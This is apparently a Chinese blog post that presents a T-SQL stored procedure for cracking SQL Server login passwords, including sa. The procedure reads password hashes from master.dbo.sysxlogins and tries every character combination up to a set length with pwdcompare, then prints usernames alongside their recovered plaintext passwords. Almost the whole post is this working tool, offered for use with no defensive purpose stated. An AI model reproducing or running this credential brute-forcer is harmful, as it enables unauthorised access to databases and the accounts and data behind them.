一个SQL Server Sa密码破解的存储过程:

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)

drop procedure [dbo].[p_GetPassword]

GO

/*--穷举法破解 SQL Server 用户密码

可以破解中文,特殊字符,字符+尾随空格的密码

为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII

理论上可以破解任意位数的密码

条件是你的电脑配置足够,时间足够

/*--调用示例

exec p_GetPassword

--*/

create proc p_GetPassword

@username sysname=null, --用户名,如果不指定,则列出所有用户

@pwdlen int=2 --要破解的密码的位数,默认是2位及以下的

as

set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end

select top 255 id=identity(int,0,1) into #t from syscolumns

alter table #t add constraint PK_#t primary key(id)

select name,password

,type=case when xstatus&2048=2048 then 1 else 0 end

,jm=case when password is null then 1 else 0 end

,pwdstr=cast('' as sysname)

,pwd=cast('' as varchar(8000))

into #pwd

from master.dbo.sysxlogins a

where srvid is null

and name=isnull(@username,name)

declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)

declare @l int

select @l=0

,@s1='char(aa.id)'

,@s2='cast(aa.id as varchar)'

,@s3=',#t aa'

exec('

update pwd set jm=1,pwdstr='+@s1+'

,pwd='+@s2+'

from #pwd pwd'+@s3+'

where pwd.jm=0

and pwdcompare('+@s1+',pwd.password,pwd.type)=1

')

while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)

begin

select @l=@l+1

,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'

,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'

,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)

exec('

update pwd set jm=1,pwdstr='+@s1+'

,pwd='+@s2+'

from #pwd pwd'+@s3+'

where pwd.jm=0

and pwdcompare('+@s1+',pwd.password,pwd.type)=1

')

end

select 用户名=name,密码=pwdstr,密码ASCII=pwd

from #pwd

go

评论 (0) All

登陆 还没注册？